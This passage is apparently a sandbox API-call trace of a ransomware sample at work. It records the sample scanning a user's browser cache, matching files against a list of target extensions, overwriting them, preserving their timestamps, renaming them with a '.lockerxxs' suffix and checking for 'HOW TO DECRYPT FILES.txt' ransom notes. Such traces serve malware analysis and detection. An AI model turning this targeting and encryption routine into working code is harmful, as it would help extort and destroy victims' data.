lpCreationTime=0x40752e*(dwLowDateTime=0x52fcb4b0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52fcb4b0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52fcb4b0, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.310] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.311] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x809, lpOverlapped=0x0) returned 1 [0084.312] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg") returned="BBC0lf2[1].jpg" [0084.312] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.312] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x809, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x809, lpOverlapped=0x0) returned 1 [0084.313] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.313] CloseHandle (hObject=0xa4) returned 1 [0084.313] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0lf2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0lf2[1].jpg.lockerxxs")) returned 1 [0084.314] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b2e35a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5b2e35a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5b2e35a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1afe, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC0mK1[1].jpg", cAlternateFileName="BBC0MK~1.JPG")) returned 1 [0084.314] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.314] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC0mK1[1].jpg") returned 1 [0084.314] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC0mK1[1].jpg") returned 1 [0084.314] lstrcmpiA (lpString1="", lpString2="BBC0mK1[1].jpg") returned -1 [0084.314] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg") returned="BBC0lf2[1].jpg" [0084.314] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.314] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.314] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.314] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.314] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBC0mK1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg" [0084.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.ems") returned 0 [0084.314] lstrlenA (lpString="*.ems") returned 5 [0084.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.db") returned 0 [0084.314] lstrlenA (lpString="*.db") returned 4 [0084.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.dbf") returned 0 [0084.315] lstrlenA (lpString="*.dbf") returned 5 [0084.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.myox") returned 0 [0084.315] lstrlenA (lpString="*.myox") returned 6 [0084.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.myo") returned 0 [0084.315] lstrlenA (lpString="*.myo") returned 5 [0084.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.qbw") returned 0 [0084.315] lstrlenA (lpString="*.qbw") returned 5 [0084.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.qbb") returned 0 [0084.315] lstrlenA (lpString="*.qbb") returned 5 [0084.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.qbm") returned 0 [0084.315] lstrlenA (lpString="*.qbm") returned 5 [0084.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.qbo") returned 0 [0084.315] lstrlenA (lpString="*.qbo") returned 5 [0084.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.qbx") returned 0 [0084.315] lstrlenA (lpString="*.qbx") returned 5 [0084.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.qba") returned 0 [0084.315] lstrlenA (lpString="*.qba") returned 5 [0084.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.qby") returned 0 [0084.315] lstrlenA (lpString="*.qby") returned 5 [0084.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.qbj") returned 0 [0084.316] lstrlenA (lpString="*.qbj") returned 5 [0084.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.ofx") returned 0 [0084.316] lstrlenA (lpString="*.ofx") returned 5 [0084.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.qif") returned 0 [0084.316] lstrlenA (lpString="*.qif") returned 5 [0084.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.mye") returned 0 [0084.316] lstrlenA (lpString="*.mye") returned 5 [0084.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.mbox") returned 0 [0084.316] lstrlenA (lpString="*.mbox") returned 6 [0084.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.eml") returned 0 [0084.316] lstrlenA (lpString="*.eml") returned 5 [0084.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.pst") returned 0 [0084.316] lstrlenA (lpString="*.pst") returned 5 [0084.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.ost") returned 0 [0084.316] lstrlenA (lpString="*.ost") returned 5 [0084.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.idx") returned 0 [0084.316] lstrlenA (lpString="*.idx") returned 5 [0084.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.dbx") returned 0 [0084.316] lstrlenA (lpString="*.dbx") returned 5 [0084.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.sql") returned 0 [0084.316] lstrlenA (lpString="*.sql") returned 5 [0084.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.mdb") returned 0 [0084.316] lstrlenA (lpString="*.mdb") returned 5 [0084.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.fdb") returned 0 [0084.316] lstrlenA (lpString="*.fdb") returned 5 [0084.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.wab") returned 0 [0084.316] lstrlenA (lpString="*.wab") returned 5 [0084.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.dat") returned 0 [0084.317] lstrlenA (lpString="*.dat") returned 5 [0084.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.txt") returned 0 [0084.317] lstrlenA (lpString="*.txt") returned 5 [0084.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.jpeg") returned 0 [0084.317] lstrlenA (lpString="*.jpeg") returned 6 [0084.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", pszSpec="*.jpg") returned 1 [0084.317] lstrlenA (lpString="*.jpg") returned 5 [0084.317] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg" [0084.317] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg" [0084.317] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg." [0084.317] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg.lockerxxs" [0084.317] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0mk1[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.318] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1afe [0084.318] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5b2e35a0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5b2e35a0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5b2e35a0, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.318] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.318] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1ad8, lpOverlapped=0x0) returned 1 [0084.320] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg") returned="BBC0mK1[1].jpg" [0084.320] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.320] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1ad8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1ad8, lpOverlapped=0x0) returned 1 [0084.320] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.321] CloseHandle (hObject=0xa4) returned 1 [0084.321] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0mk1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0mk1[1].jpg.lockerxxs")) returned 1 [0084.322] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53089b90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53089b90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53089b90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1fc3, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC0qlB[1].jpg", cAlternateFileName="BBC0QL~1.JPG")) returned 1 [0084.322] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.322] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC0qlB[1].jpg") returned 1 [0084.322] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC0qlB[1].jpg") returned 1 [0084.322] lstrcmpiA (lpString1="", lpString2="BBC0qlB[1].jpg") returned -1 [0084.322] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg") returned="BBC0mK1[1].jpg" [0084.322] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.322] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.322] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.322] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.322] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBC0qlB[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg" [0084.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.ems") returned 0 [0084.322] lstrlenA (lpString="*.ems") returned 5 [0084.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.db") returned 0 [0084.322] lstrlenA (lpString="*.db") returned 4 [0084.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.dbf") returned 0 [0084.323] lstrlenA (lpString="*.dbf") returned 5 [0084.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.myox") returned 0 [0084.323] lstrlenA (lpString="*.myox") returned 6 [0084.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.myo") returned 0 [0084.323] lstrlenA (lpString="*.myo") returned 5 [0084.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.qbw") returned 0 [0084.323] lstrlenA (lpString="*.qbw") returned 5 [0084.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.qbb") returned 0 [0084.323] lstrlenA (lpString="*.qbb") returned 5 [0084.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.qbm") returned 0 [0084.323] lstrlenA (lpString="*.qbm") returned 5 [0084.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.qbo") returned 0 [0084.323] lstrlenA (lpString="*.qbo") returned 5 [0084.323] PathMatchSpecA 